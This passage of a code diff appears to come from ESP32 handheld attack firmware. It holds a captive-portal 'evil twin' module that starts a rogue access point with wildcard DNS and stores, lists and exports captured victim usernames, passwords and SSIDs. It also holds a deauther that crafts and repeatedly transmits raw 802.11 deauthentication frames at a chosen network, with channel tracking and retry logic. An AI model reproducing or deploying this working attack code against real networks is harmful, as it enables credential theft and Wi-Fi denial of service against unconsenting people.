+tft.drawString("OK", 200, 197); +Serial.printf("OK button at x=165-235, y=185-210\n"); +} + +void drawCredList() { + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setTextColor(TFT_WHITE); + tft.setTextSize(1); + tft.setCursor(0, 50); + tft.println("Credentials List:"); + + tft.setCursor(0, 70); + tft.print("User"); + tft.setCursor(80, 70); + tft.print("Pass"); + tft.setCursor(160, 70); + tft.print("SSID"); + tft.drawLine(0, 80, 245, 80, TFT_WHITE); + + int count = EEPROM.read(COUNT_ADDR); + Serial.printf("Reading %d credentials from EEPROM\n", count); + + int startIdx = credPage * 18; + int yOffset = 90; + + if (count == 0) { + tft.setCursor(0, yOffset); + tft.println("No credentials"); + Serial.println("No credentials found"); + } else { + for (int i = startIdx; i < min(count, startIdx + 18); i++) { + Credential cred; + EEPROM.get(CRED_ADDR + (i * CRED_SIZE), cred); + Serial.printf("Credential %d at address %d: User=%s, Pass=%s, SSID=%s\n", + i, CRED_ADDR + (i * CRED_SIZE), cred.username, cred.password, cred.ssid); + + tft.setTextColor(TFT_WHITE); + tft.setCursor(0, yOffset); + tft.println(cred.username); + tft.setCursor(80, yOffset); + tft.println(cred.password); + tft.setCursor(160, yOffset); + tft.println(cred.ssid); + + tft.setTextColor(UI_WARN); + tft.setCursor(223, yOffset - 1); + tft.println("X"); + + yOffset += 10; + } + } + +int buttonY = 290; +tft.setTextColor(ORANGE); +tft.setTextSize(1); +tft.setTextDatum(MC_DATUM); + +tft.fillRoundRect(5, buttonY, 50, 20, 8, DARK_GRAY); +tft.drawRoundRect(5, buttonY, 50, 20, 8, ORANGE); +tft.drawString("Back", 30, buttonY + 10); + +tft.fillRoundRect(65, buttonY, 50, 20, 8, DARK_GRAY); +tft.drawRoundRect(65, buttonY, 50, 20, 8, ORANGE); +tft.drawString("Clear", 90, buttonY + 10); + +tft.fillRoundRect(125, buttonY, 50, 20, 8, DARK_GRAY); +tft.drawRoundRect(125, buttonY, 50, 20, 8, ORANGE); +tft.drawString("Export", 150, buttonY + 10); + +if (credPage > 0) { + tft.fillRoundRect(185, buttonY, 50, 20, 8, DARK_GRAY); + tft.drawRoundRect(185, buttonY, 50, 20, 8, ORANGE); + tft.drawString("Prev", 210, buttonY + 10); +} else if (count > (credPage + 1) * 15) { + tft.fillRoundRect(185, buttonY, 50, 20, 8, DARK_GRAY); + tft.drawRoundRect(185, buttonY, 50, 20, 8, ORANGE); + tft.drawString("Next", 210, buttonY + 10); +} + +} + +void stopAttack() { + if (attackActive) { + WiFi.softAPdisconnect(true); + Serial.println("Access Point stopped"); + displayPrint("Access Point stopped", GREEN, false); + + dnsServer.stop(); + Serial.println("DNS server stopped"); + displayPrint("DNS server stopped", GREEN, false); + + server.close(); + Serial.println("Web server stopped"); + displayPrint("Web server stopped", GREEN, false); + + cpStopDeauth(); + + attackActive = false; + drawMainMenu(); + } else { + Serial.println("Attack already inactive"); + displayPrint("Attack already inactive", GREEN, false); + } +} + +void startAttack() { + if (!attackActive) { + WiFi.mode(WIFI_AP); + WiFi.softAP(custom_ssid, password, ap_channel); + Serial.println("Access Point started"); + Serial.print("IP Address: "); + Serial.println(WiFi.softAPIP()); + int ip = WiFi.softAPIP(); + displayPrint("Access Point started", GREEN, false); + + dnsServer.setErrorReplyCode(DNSReplyCode::NoError); + dnsServer.start(DNS_PORT, "*", WiFi.softAPIP()); + Serial.println("DNS server started"); + displayPrint("DNS server started", GREEN, false); + + setupWebServer(); + server.begin(); + Serial.println("Web server started"); + displayPrint("Web server started", GREEN, false); + + attackActive = true; + drawMainMenu(); + } else { + Serial.println("Attack already active"); + displayPrint("Attack already active", GREEN, false); + } +} + +void handleMainMenu(int x, int y) { + (void)x; + (void)y; +} + +void handleKeyboard(int x, int y) { + (void)x; + (void)y; +} + +void handleCredList(int x, int y) { + int count = EEPROM.read(COUNT_ADDR); + int startIdx = credPage * 18; + int yOffset = 80; + + for (int i = startIdx; i < min(count, startIdx + 18); i++) { + if (x >= 220 && x <= 230 && y >= yOffset - 3 && y <= yOffset + 7) { + Serial.println("Delete button pressed for credential " + String(i)); + deleteCredential(i); + drawCredList(); + return; + } + yOffset += 10; + } + + int buttonY = 290; + + if (x >= 5 && x <= 55 && y >= buttonY && y <= buttonY + 20) { + Serial.println("Back button pressed"); + currentScreen = MAIN_MENU; + drawMainMenu(); + } + if (x >= 65 && x <= 115 && y >= buttonY && y <= buttonY + 20) { + Serial.println("Clear All button pressed"); + clearAllCredentials(); + credPage = 0; + drawCredList(); + } + if (x >= 125 && x <= 175 && y >= buttonY && y <= buttonY + 20) { + Serial.println("Export button pressed"); + int dumped = 0; + if (cpDumpAllCredentialsToSD(&dumped)) { + cpCredListStatus("Exported " + String(dumped) + " -> SD:/captive_portal/eeprom_dump.csv", TFT_GREEN); + } else { + cpCredListStatus("Export failed: SD not ready", TFT_RED); + } + } + if (credPage > 0 && x >= 185 && x <= 235 && y >= buttonY && y <= buttonY + 20) { + Serial.println("Prev button pressed"); + credPage--; + drawCredList(); + } else if (count > (credPage + 1) * 15 && x >= 185 && x <= 235 && y >= buttonY && y <= buttonY + 20) { + Serial.println("Next button pressed"); + credPage++; + drawCredList(); + } +} + +static bool uiDrawn = false; + +void runUI() { +#define SCREEN_WIDTH 240 +#define SCREENHEIGHT 320 +#define STATUS_BAR_Y_OFFSET 20 +#define STATUS_BAR_HEIGHT 16 +#define ICON_SIZE 16 +#define ICON_NUM 6 + + static int iconX[ICON_NUM] = {90, 130, 170, 210, 50, 10}; + static int iconY = STATUS_BAR_Y_OFFSET; + + static const unsigned char* icons[ICON_NUM] = { + bitmap_icon_dialog, + bitmap_icon_list, + bitmap_icon_antenna, + bitmap_icon_power, + bitmap_icon_wifi2, + bitmap_icon_go_back + }; + + if (!uiDrawn) { + tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); + for (int i = 0; i < ICON_NUM; i++) { + if (icons[i] != NULL) { + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); + } + } + tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); + uiDrawn = true; + } + + static unsigned long lastAnimationTime = 0; + static int animationState = 0; + static int activeIcon = -1; + static unsigned long lastSpamTime = 0; + + switch (animationState) { + case 0: + break; + + case 1: + if (millis() - lastAnimationTime >= 150) { + tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); + animationState = 2; + lastAnimationTime = millis(); + } + break; + + case 2: + if (millis() - lastAnimationTime >= 200) { + animationState = 3; + lastAnimationTime = millis(); + } + break; + + case 3: + switch (activeIcon) { + case 0: { + + OnScreenKeyboardConfig cfg; + cfg.titleLine1 = "[!] Set the SSID that your AP will use"; + cfg.titleLine2 = "to host the captive portal."; + cfg.rows = keyboardLayout; + cfg.rowCount = 4; + cfg.maxLen = 31; + cfg.shuffleNames = seriesSSIDs; + cfg.shuffleCount = numSeriesSSIDs; + cfg.buttonsY = 195; + cfg.backLabel = "Back"; + cfg.middleLabel = "Shuffle"; + cfg.okLabel = "OK"; + cfg.enableShuffle = true; + cfg.requireNonEmpty = true; + cfg.emptyErrorMsg = "SSID cannot be empty!"; + + OnScreenKeyboardResult r = showOnScreenKeyboard(cfg, inputSSID); + if (r.accepted && r.text.length() > 0) { + inputSSID = r.text; + saveSSID(inputSSID); + } + drawMainMenu(); + animationState = 0; + activeIcon = -1; + break; + } + case 1: + currentScreen = CRED_LIST; + credPage = 0; + drawCredList(); + animationState = 0; + activeIcon = -1; + break; + case 2: + startAttack(); + animationState = 0; + activeIcon = -1; + break; + case 3: + stopAttack(); + animationState = 0; + activeIcon = -1; + break; + + case 4: + cpCloneExistingAPFlow(); + animationState = 0; + activeIcon = -1; + break; + + case 5: + feature_exit_requested = true; + animationState = 0; + activeIcon = -1; + break; + } + break; + + case 4: break; + case 5: break; + } + + static unsigned long lastTouchCheck = 0; + const unsigned long touchCheckInterval = 50; + + if (millis() - lastTouchCheck >= touchCheckInterval) { + int x, y; + if (feature_active && readTouchXY(x, y)) { + if (currentScreen == KEYBOARD) { + handleKeyboard(x, y); + } else if (currentScreen == CRED_LIST) { + handleCredList(x, y); + } else { + handleMainMenu(x, y); + } + + if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { + for (int i = 0; i < ICON_NUM; i++) { + if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { + if (icons[i] != NULL && animationState == 0) { + + if (i == 5) { + feature_exit_requested = true; + } else { + + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); + animationState = 1; + activeIcon = i; + lastAnimationTime = millis(); + } + } + break; + } + } + } + } + lastTouchCheck = millis(); + } +} + +void cportalSetup() { + + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + + uiDrawn = false; + + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); + runUI(); + + EEPROM.begin(EEPROM_SIZE); + int count = EEPROM.read(COUNT_ADDR); + if (count > MAX_CREDS || count < 0) { + Serial.println("Invalid credential count, resetting to 0"); + EEPROM.write(COUNT_ADDR, 0); + EEPROM.commit(); + } + loadSSID(); + + startAttack(); + + drawMainMenu(); + setupTouchscreen(); +} + +void cportalLoop() { + + if (feature_active && isButtonPressed(BTN_SELECT)) { + feature_exit_requested = true; + return; + } + + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + + updateStatusBar(); + runUI(); + + if (attackActive) { + dnsServer.processNextRequest(); + server.handleClient(); + + unsigned long now = millis(); + if (cp_deauth_active && now - cp_last_deauth_time >= 50) { + cpSendDeauthFrame(); + cp_last_deauth_time = now; + } + } + + if (currentScreen == KEYBOARD) { + unsigned long now = millis(); + if (now - lastCursorToggle >= 500) { + cursorState = !cursorState; + lastCursorToggle = now; + drawInputField(); + } + } + } +} + +namespace Deauther { + +#define SCREEN_WIDTH 240 +#define SCREEN_HEIGHT 320 + +uint8_t deauth_frame_default[26] = { + 0xC0, 0x00, + 0x00, 0x00, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x00, 0x00, + 0x01, 0x00 +}; +uint8_t deauth_frame[sizeof(deauth_frame_default)]; + +uint32_t packet_count = 0; +uint32_t success_count = 0; +uint32_t consecutive_failures = 0; +bool attack_running = false; +wifi_ap_record_t selectedAp; +uint8_t selectedChannel; +int selected_ap_index = -1; +int network_count = 0; +wifi_ap_record_t *ap_list = nullptr; +bool scanning = false; +uint32_t last_packet_time = 0; +int current_page = 0; +const int networks_per_page = 14; + +/* +extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) { + return 0; +} +*/ + +void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size) { + esp_err_t res = esp_wifi_80211_tx(WIFI_IF_AP, frame_buffer, size, false); + packet_count++; + if (res == ESP_OK) { + success_count++; + consecutive_failures = 0; + } else { + consecutive_failures++; + + } +} + +void wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *ap_record, uint8_t chan) { + esp_wifi_set_channel(chan, WIFI_SECOND_CHAN_NONE); + memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default)); + memcpy(&deauth_frame[10], ap_record->bssid, 6); + memcpy(&deauth_frame[16], ap_record->bssid, 6); + deauth_frame[26] = 7; + + wsl_bypasser_send_raw_frame(deauth_frame, sizeof(deauth_frame)); +} + +int compare_ap(const void *a, const void *b) { + wifi_ap_record_t *ap1 = (wifi_ap_record_t *)a; + wifi_ap_record_t *ap2 = (wifi_ap_record_t *)b; + return ap2->rssi - ap1->rssi; +} + +void drawButton(int x, int y, int w, int h, const char* label, bool highlight, bool disabled) { + + FeatureUI::ButtonStyle style = highlight ? FeatureUI::ButtonStyle::Primary + : FeatureUI::ButtonStyle::Secondary; + FeatureUI::drawButtonRect(x, y, w, h, label, style, false, disabled); +} + +void drawTabBar(const char* leftButton, bool leftDisabled, const char* prevButton, bool prevDisabled, const char* nextButton, bool nextDisabled) { + + tft.fillRect(0, 304, SCREEN_WIDTH, 16, FEATURE_BG); + + if (leftButton[0]) { + drawButton(0, 304, 57, 16, leftButton, false, leftDisabled); + } + + if (prevButton[0]) { + drawButton(117, 304, 57, 16, prevButton, false, prevDisabled); + } + if (nextButton[0]) { + drawButton(177, 304, 57, 16, nextButton, false, nextDisabled); + } +} + +void drawScanScreen() { + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setTextSize(1); + + if (scanning) { + tft.setCursor(10, 50); + tft.setTextColor(GREEN); + tft.println("Scanning..."); + loading(100, ORANGE, 0, 0, 3, true); + tft.setCursor(10, 65); + tft.println("Wait a moment."); + return; + } + + if (network_count == 0) { + tft.setTextColor(GREEN); + tft.setCursor(10, 50); + tft.println("No networks found."); + tft.setCursor(10, 65); + tft.println("Press Rescan."); + } else { + int y = 50; + tft.setTextColor(GREEN); + tft.setCursor(10, y); + tft.println("Networks:"); + y += 20; + + int start_index = current_page * networks_per_page; + int end_index = min(start_index + networks_per_page, network_count); + + for (int i = start_index; i < end_index && y < 300; i++) { + char buf[64]; + char ssid[12]; + strncpy(ssid, (char*)ap_list[i].ssid, 11); + ssid[11] = '\0'; + if (strlen((char*)ap_list[i].ssid) > 11) strcat(ssid, "..."); + const char* enc = ap_list[i].authmode == WIFI_AUTH_OPEN ? "OPEN" : "WPA2"; + snprintf(buf, sizeof(buf), "%02d: %-15s %3d dBm Ch%2d %s", i + 1, ssid, ap_list[i].rssi, ap_list[i].primary, enc); + tft.setCursor(10, y); + tft.setTextColor(i == selected_ap_index ? ORANGE : (ap_list[i].authmode == WIFI_AUTH_OPEN ? ORANGE : WHITE)); + tft.println(buf); + y += 15; + } + + char page_buf[20]; + snprintf(page_buf, sizeof(page_buf), "Page %d/%d", current_page + 1, (network_count + networks_per_page - 1) / networks_per_page); + tft.setCursor(180, 50); + tft.setTextColor(GREEN); + tft.println(page_buf); + } + + const char* leftButton = attack_running ? "Stop Attack" : "Rescan"; + bool leftDisabled = false; + const char* prevButton = "Prev"; + bool prevDisabled = attack_running || current_page == 0; + const char* nextButton = "Next"; + bool nextDisabled = attack_running || (current_page + 1) * networks_per_page >= network_count; + drawTabBar(leftButton, leftDisabled, prevButton, prevDisabled, nextButton, nextDisabled); +} + +bool scanNetworks() { + scanning = true; + current_page = 0; + drawScanScreen(); + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + delay(100); + + network_count = WiFi.scanNetworks(); + if (network_count == 0) { + scanning = false; + return false; + } + + if (ap_list) free(ap_list); + ap_list = (wifi_ap_record_t *)malloc(network_count * sizeof(wifi_ap_record_t)); + if (!ap_list) { + scanning = false; + return false; + } + + for (int i = 0; i < network_count; i++) { + wifi_ap_record_t ap_record = {0}; + memcpy(ap_record.bssid, WiFi.BSSID(i), 6); + strncpy((char*)ap_record.ssid, WiFi.SSID(i).c_str(), sizeof(ap_record.ssid)); + ap_record.rssi = WiFi.RSSI(i); + ap_record.primary = WiFi.channel(i); + ap_record.authmode = WiFi.encryptionType(i); + ap_list[i] = ap_record; + } + + qsort(ap_list, network_count, sizeof(wifi_ap_record_t), compare_ap); + + scanning = false; + return true; +} + +bool checkApChannel(const uint8_t *bssid, uint8_t *channel) { + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + delay(100); + + int n = WiFi.scanNetworks(); + for (int i = 0; i < n; i++) { + if (memcmp(WiFi.BSSID(i), bssid, 6) == 0) { + *channel = WiFi.channel(i); + WiFi.mode(WIFI_AP); + delay(100); + return true; + } + } + + WiFi.mode(WIFI_AP); + delay(100); + return false; +} + +void resetWifi() { + esp_wifi_stop(); + delay(200); + esp_wifi_start(); + delay(200); + packet_count = 0; + success_count = 0; + consecutive_failures = 0; +} + +void drawAttackScreen() { + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setTextSize(1); + + char buf[64]; + tft.setTextColor(WHITE); + snprintf(buf, sizeof(buf), "Target: %s", selectedAp.ssid); + tft.setCursor(10, 50); + tft.println(buf); + + snprintf(buf, sizeof(buf), "BSSID: %02X:%02X:%02X:%02X:%02X:%02X", + selectedAp.bssid[0], selectedAp.bssid[1], selectedAp.bssid[2], + selectedAp.bssid[3], selectedAp.bssid[4], selectedAp.bssid[5]); + tft.setCursor(10, 70); + tft.println(buf); + + const char* auth; + switch (selectedAp.authmode) { + case WIFI_AUTH_OPEN: auth = "OPEN"; break; + case WIFI_AUTH_WPA_PSK: auth = "WPA-PSK"; break; + case WIFI_AUTH_WPA2_PSK: auth = "WPA2-PSK"; break; + case WIFI_AUTH_WPA_WPA2_PSK: auth = "WPA/WPA2-PSK"; break; + default: auth = "Unknown"; break; + } + snprintf(buf, sizeof(buf), "Auth: %s", auth); + tft.setCursor(10, 85); + tft.println(buf); + + tft.setCursor(10, 100); + tft.setTextColor(attack_running ? ORANGE : DARK_GRAY); + tft.println(attack_running ? "Status: Running" : "Status: Stopped"); + + snprintf(buf, sizeof(buf), "Packets: %u", packet_count); + tft.setCursor(10, 115); + tft.setTextColor(WHITE); + tft.println(buf); + + float success_rate = (packet_count > 0) ? (float)success_count / packet_count * 100 : 0; + snprintf(buf, sizeof(buf), "Success: %.2f%%", success_rate); + tft.setCursor(10, 130); + tft.println(buf); + + snprintf(buf, sizeof(buf), "Heap: %u", ESP.getFreeHeap()); + tft.setCursor(10, 145); + tft.println(buf); + + const char* buttons[] = {attack_running ? "Stop" : "Start", "Back"}; + drawTabBar(buttons[0], false, "", true, buttons[1], false); +} + +void handleTouch() { + int x, y; + if (!readTouchXY(x, y)) return; + + bool redraw = false; + if (selected_ap_index == -1) { + if (!scanning && y >= 60 && y < 270 && network_count > 0) { + int index = (y - 60) / 15 + (current_page * networks_per_page); + if (index >= 0 && index < network_count) { + selected_ap_index = index; + selectedAp = ap_list[index]; + selectedChannel = ap_list[index].primary; + drawScanScreen(); + delay(50); + drawAttackScreen(); + } + } else if (!scanning && y >= 290 && y <= 320) { + if (attack_running) { + if (x >= 0 && x <= 57) { + drawButton(0, 304, 57, 16, "Stop Attack", true, false); + attack_running = false; + last_packet_time = 0; + drawScanScreen(); + delay(50); + redraw = true; + } else if (x >= 122 && x <= 179) { + drawButton(122, 304, 57, 16, "Rescan", true, false); + delay(50); + if (scanNetworks()) { + drawScanScreen(); + } + redraw = true; + } + } else { + if (x >= 0 && x <= 57) { + drawButton(0, 304, 57, 16, "Rescan", true, false); + delay(50); + if (scanNetworks()) { + drawScanScreen(); + } + redraw = true; + } else if (x >= 122 && x <= 179) { + if (current_page > 0) { + drawButton(117, 304, 57, 16, "Prev", true, false); + current_page--; + drawScanScreen(); + delay(50); + redraw = true; + } + } else if (x >= 183 && x <= 240) { + if ((current_page + 1) * networks_per_page < network_count) { + drawButton(178, 304, 57, 16, "Next", true, false); + current_page++; + drawScanScreen(); + delay(50); + redraw = true; + } + } + } + } + } else { + if (y >= 290 && y <= 320) { + if (x >= 0 && x <= 57) { + drawButton(0, 304, 57, 16, attack_running ? "Stop" : "Start", true, false); + attack_running = !attack_running; + if (!attack_running) { + last_packet_time = 0; + } + drawAttackScreen(); + delay(50); + redraw = true; + } else if (x >= 183 && x <= 240) { + drawButton(177, 304, 57, 16, "Back", true, false); + attack_running = false; + last_packet_time = 0; + selected_ap_index = -1; + drawScanScreen(); + delay(50); + redraw = true; + } + } + } + + if (redraw) { + delay(100); + } +} + +static bool uiDrawn = false; + +void runUI() { +#define SCREEN_WIDTH 240 +#define SCREENHEIGHT 320 +#define STATUS_BAR_Y_OFFSET 20 +#define STATUS_BAR_HEIGHT 16 +#define ICON_SIZE 16 +#define ICON_NUM 2 + + static int iconX[ICON_NUM] = {220, 10}; + static int iconY = STATUS_BAR_Y_OFFSET; + + static const unsigned char* icons[ICON_NUM] = { + bitmap_icon_undo, + bitmap_icon_go_back + }; + + if (!uiDrawn) { + tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); + for (int i = 0; i < ICON_NUM; i++) { + if (icons[i] != NULL) { + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); + } + } + tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); + uiDrawn = true; + } + + static unsigned long lastAnimationTime = 0; + static int animationState = 0; + static int activeIcon = -1; + static unsigned long lastSpamTime = 0; + + switch (animationState) { + case 0: + break; + + case 1: + if (millis() - lastAnimationTime >= 150) { + tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); + animationState = 2; + lastAnimationTime = millis(); + } + break; + + case 2: + if (millis() - lastAnimationTime >= 200) { + animationState = 3; + lastAnimationTime = millis(); + } + break; + + case 3: + switch (activeIcon) { + case 0: + scanNetworks(); + delay(50); + if (scanNetworks()) { + drawScanScreen(); + } + animationState = 0; + activeIcon = -1; + break; + } + break; + } + + static unsigned long lastTouchCheck = 0; + const unsigned long touchCheckInterval = 50; + + if (millis() - lastTouchCheck >= touchCheckInterval) { + int x, y; + if (feature_active && readTouchXY(x, y)) { + if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { + for (int i = 0; i < ICON_NUM; i++) { + if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { + if (icons[i] != NULL && animationState == 0) { + + if (i == 1) { + feature_exit_requested = true; + } else { + + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); + animationState = 1; + activeIcon = i; + lastAnimationTime = millis(); + } + } + break; + } + } + } + } + lastTouchCheck = millis(); + } +} + +void deautherSetup() { + + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + + setupTouchscreen(); + uiDrawn = false; + + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); + runUI(); + + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + + tft.setTextColor(GREEN, BLACK); + tft.setTextSize(1); + tft.setCursor(10, 50); + tft.println("Initializing..."); + + attack_running = false; + selected_ap_index = -1; + current_page = 0; + scanning = false; + + int bgCount = WiFi.scanComplete(); + if (bgCount > 0) { + + if (ap_list) { + free(ap_list); + ap_list = nullptr; + } + + network_count = bgCount; + ap_list = (wifi_ap_record_t *)malloc(network_count * sizeof(wifi_ap_record_t)); + if (ap_list) { + for (int i = 0; i < network_count; i++) { + wifi_ap_record_t ap_record = {0}; + memcpy(ap_record.bssid, WiFi.BSSID(i), 6); + strncpy((char*)ap_record.ssid, WiFi.SSID(i).c_str(), sizeof(ap_record.ssid)); + ap_record.ssid[sizeof(ap_record.ssid) - 1] = '\0'; + ap_record.rssi = WiFi.RSSI(i); + ap_record.primary = WiFi.channel(i); + ap_record.authmode = WiFi.encryptionType(i); + ap_list[i] = ap_record; + } + + qsort(ap_list, network_count, sizeof(wifi_ap_record_t), compare_ap); + } else { + + network_count = 0; + } + } else { + + scanNetworks(); + } + + drawScanScreen(); + + drawScanScreen(); +} + +void deautherLoop() { + + if (feature_active && isButtonPressed(BTN_SELECT)) { + feature_exit_requested = true; + return; + } + + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + + handleTouch(); + updateStatusBar(); + runUI(); + + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + + uint32_t current_time = millis(); + if (attack_running && selected_ap_index != -1) { + uint32_t heap = ESP.getFreeHeap(); + if (heap < 80000) { + attack_running = false; + last_packet_time = 0; + drawAttackScreen(); + delay(3000); + return; + } + + if (consecutive_failures > 10) { + resetWifi(); + last_packet_time = 0; + delay(3000); + return; + } + + if (current_time - last_packet_time >= 100 && attack_running) { + wsl_bypasser_send_deauth_frame(&selectedAp, selectedChannel); + last_packet_time = current_time; + } + } + + static uint32_t last_channel_check = 0; + if (attack_running && current_time - last_channel_check > 15000) { + uint8_t new_channel; + if (checkApChannel(selectedAp.bssid, &new_channel)) { + if (new_channel != selectedChannel) { + selectedChannel = new_channel; + wifi_config_t ap_config = {0}; + strncpy((char*)ap_config.ap.ssid, "ESP32-DIV", sizeof(ap_config.ap.ssid)); + ap_config.ap.ssid_len = strlen("ESP32-DIV"); + strncpy((char*)ap_config.ap.password, "deauth123", sizeof(ap_config.ap.password)); + ap_config.ap.authmode = WIFI_AUTH_WPA2_PSK; + ap_config.ap.ssid_hidden = 0; + ap_config.ap.max_connection = 4; + ap_config.ap.beacon_interval = 100; + ap_config.ap.channel = selectedChannel; + ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &ap_config)); + + } + } + last_channel_check = current_time; + } + + static uint32_t last_status_time = 0; + if (attack_running && current_time - last_status_time > 2000) { + drawAttackScreen(); + last_status_time = current_time; + } + } +} + +namespace FirmwareUpdate { + +#define FIRMWARE_FILE "/firmware.bin" + +const char* host = "esp32"; + +#define SCREEN_WIDTH 240 +#define SCREEN_HEIGHT 320 + +#define BUTTON_WIDTH 230 +#define BUTTON_HEIGHT 20 +#define BUTTON1_X 5 +#define BUTTON1_Y 50 +#define BUTTON2_X 5 +#define BUTTON2_Y 80 + +#define TAB_BUTTON_WIDTH 57 +#define TAB_BUTTON_HEIGHT 16 +#define TAB_LEFT_X 0 +#define TAB_MIDDLE_X 117 +#define TAB_RIGHT_X 177 +#define TAB_Y 304 + +#define TS_MIN_X 300 +#define TS_MAX_X 3800 +#define TS_MIN_Y 300 +#define TS_MAX_Y 3800 + +#define NETWORKS_PER_PAGE 15 +#define NETWORK_Y_START 70 +#define NETWORK_ROW_HEIGHT 15 + +#define PASSWORD_MAX_LENGTH 32 +#define KEY_WIDTH 20 +#define KEY_HEIGHT 20 +#define KEY_SPACING 2 +#define KEYBOARD_Y_OFFSET_START 60 + +WebServer server(80); + +char selectedSSID[32] = ""; +char wifiPassword[PASSWORD_MAX_LENGTH + 1] = ""; + +typedef struct { + char ssid[32]; + int8_t rssi; + uint8_t channel; + uint8_t authmode; +} NetworkInfo; + +const char* keyboardLayout[] = { + "1234567890", + "QWERTYUIOP", + "ASDFGHJKL", + "ZXCVBNM!@#" +}; + +void drawButton(int x, int y, int w, int h, const char* label, bool highlight, bool disabled); +void drawTabBar(const char* leftButton, bool leftDisabled, const char* prevButton, bool prevDisabled, const char* nextButton, bool nextDisabled); +void drawMenu(); +bool checkButton(int16_t x, int16_t y, int buttonX, int buttonY, int buttonW, int buttonH); +static void waitForTouchXY(int& x, int& y); +void performSDUpdate(); +void drawNetworkList(int, int, NetworkInfo*, int); +bool selectWiFiNetwork(); +void drawInputField(); +void drawKeyboard(); +bool enterWiFiPassword(); +void performWebOTAUpdate(); + +const char* loginIndex = R"( + + + + + + ESP32 Login Page + + + +
+

ESP32 Login Page

+
+
+ + +
+
+ + +
+ +
+
+ + + +)"; + +const char* serverIndex = R"( + + + + + + ESP32 Firmware Update + + + + +
+

Firmware Update

+
+
+ +
+ +
+
+
progress: 0%
+
+
+ + + +)"; + +static bool uiDrawn = false; + +void runUI() { +#define SCREEN_WIDTH 240 +#define SCREENHEIGHT 320 +#define STATUS_BAR_Y_OFFSET 20 +#define STATUS_BAR_HEIGHT 16 +#define ICON_SIZE 16 +#define ICON_NUM 1 + + static int iconX[ICON_NUM] = {10}; + static int iconY = STATUS_BAR_Y_OFFSET; + + static const unsigned char* icons[ICON_NUM] = { + bitmap_icon_go_back + }; + + if (!uiDrawn) { + tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); + for (int i = 0; i < ICON_NUM; i++) { + if (icons[i] != NULL) { + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); + } + } + tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); + uiDrawn = true; + } + + static unsigned long lastAnimationTime = 0; + static int animationState = 0; + static int activeIcon = -1; + static unsigned long lastSpamTime = 0; + + switch (animationState) { + case 0: + break; + + case 1: + if (millis() - lastAnimationTime >= 150) { + tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); + animationState = 2; + lastAnimationTime = millis(); + } + break; + + case 2: + if (millis() - lastAnimationTime >= 200) { + animationState = 3; + lastAnimationTime = millis(); + } + break; + + case 3: + switch (activeIcon) { + case 0: + feature_exit_requested = true; + animationState = 0; + activeIcon = -1; + break; + } + break; + } + + static unsigned long lastTouchCheck = 0; + const unsigned long touchCheckInterval = 50; + + if (millis() - lastTouchCheck >= touchCheckInterval) { + int x, y; + if (feature_active && readTouchXY(x, y)) { + if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { + for (int i = 0; i < ICON_NUM; i++) { + if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { + if (icons[i] != NULL && animationState == 0) { + + feature_exit_requested = true; + } + break; + } + } + } + } + 